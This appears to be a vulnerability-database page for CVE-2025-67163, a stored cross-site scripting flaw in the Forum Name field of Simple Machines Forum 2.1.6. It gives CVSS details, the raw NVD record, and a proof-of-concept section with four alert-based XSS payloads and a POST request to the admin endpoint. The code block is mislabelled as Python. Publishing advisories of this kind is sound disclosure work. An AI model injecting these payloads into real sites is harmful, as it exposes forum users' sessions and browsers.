Security Vulnerability Report
中文
CVE-2025-67163 CVSS 6.1 MEDIUM

CVE-2025-67163

Published: 2025-12-18 20:16:08
Last Modified: 2025-12-31 19:58:37

Description

A stored cross-site scripting (XSS) vulnerability in Simple Machines Forum v2.1.6 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the Forum Name parameter.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:simplemachines:simple_machines_forum:2.1.6:*:*:*:*:*:*:* - VULNERABLE
Simple Machines Forum v2.1.6
SMF < 2.1.6 (potentially affected)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-67163 Stored XSS PoC for Simple Machines Forum v2.1.6 // Payload: Inject malicious script in Forum Name parameter // Method 1: Using script tag const xssPayload1 = '<script>alert(document.cookie)</script>'; // Method 2: Using img onerror event const xssPayload2 = '<img src=x onerror=alert(document.domain)>'; // Method 3: Using SVG element const xssPayload3 = '<svg onload=alert(document.cookie)>'; // Method 4: Using body onload event const xssPayload4 = '<body onload=alert(String.fromCharCode(88,83,83))>'; // Exploitation steps: // 1. Set Forum Name to one of the payloads above via admin panel or API // 2. Wait for any user to visit the Stats page // 3. The script will execute in the victim's browser context // Example POST request to set Forum Name: const exploitRequest = { method: 'POST', url: '/forum/index.php?action=admin;area=general;sa=forum', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: 'forum_name=' + encodeURIComponent(xssPayload2) };

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67163", "sourceIdentifier": "[email protected]", "published": "2025-12-18T20:16:08.067", "lastModified": "2025-12-31T19:58:37.087", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stored cross-site scripting (XSS) vulnerability in Simple Machines Forum v2.1.6 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the Forum Name parameter."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-83"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:simplemachines:simple_machines_forum:2.1.6:*:*:*:*:*:*:*", "matchCriteriaId": "1C23AE77-3D04-4DA1-9308-0C08C4A9AB03"}]}]}], "references": [{"url": "https://github.com/SimpleMachines/SMF", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/SimpleMachines/SMF/blob/release-3.0/Themes/default/Stats.template.php#L26", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/SimpleMachines/SMF/security/advisories/GHSA-p2xm-x9fp-5r7x", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/mbiesiad/vulnerability-research/tree/main/CVE-2025-67163", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://wiki.simplemachines.org/smf/Installing", "source": "[email protected]", "tags": ["Product"]}]}}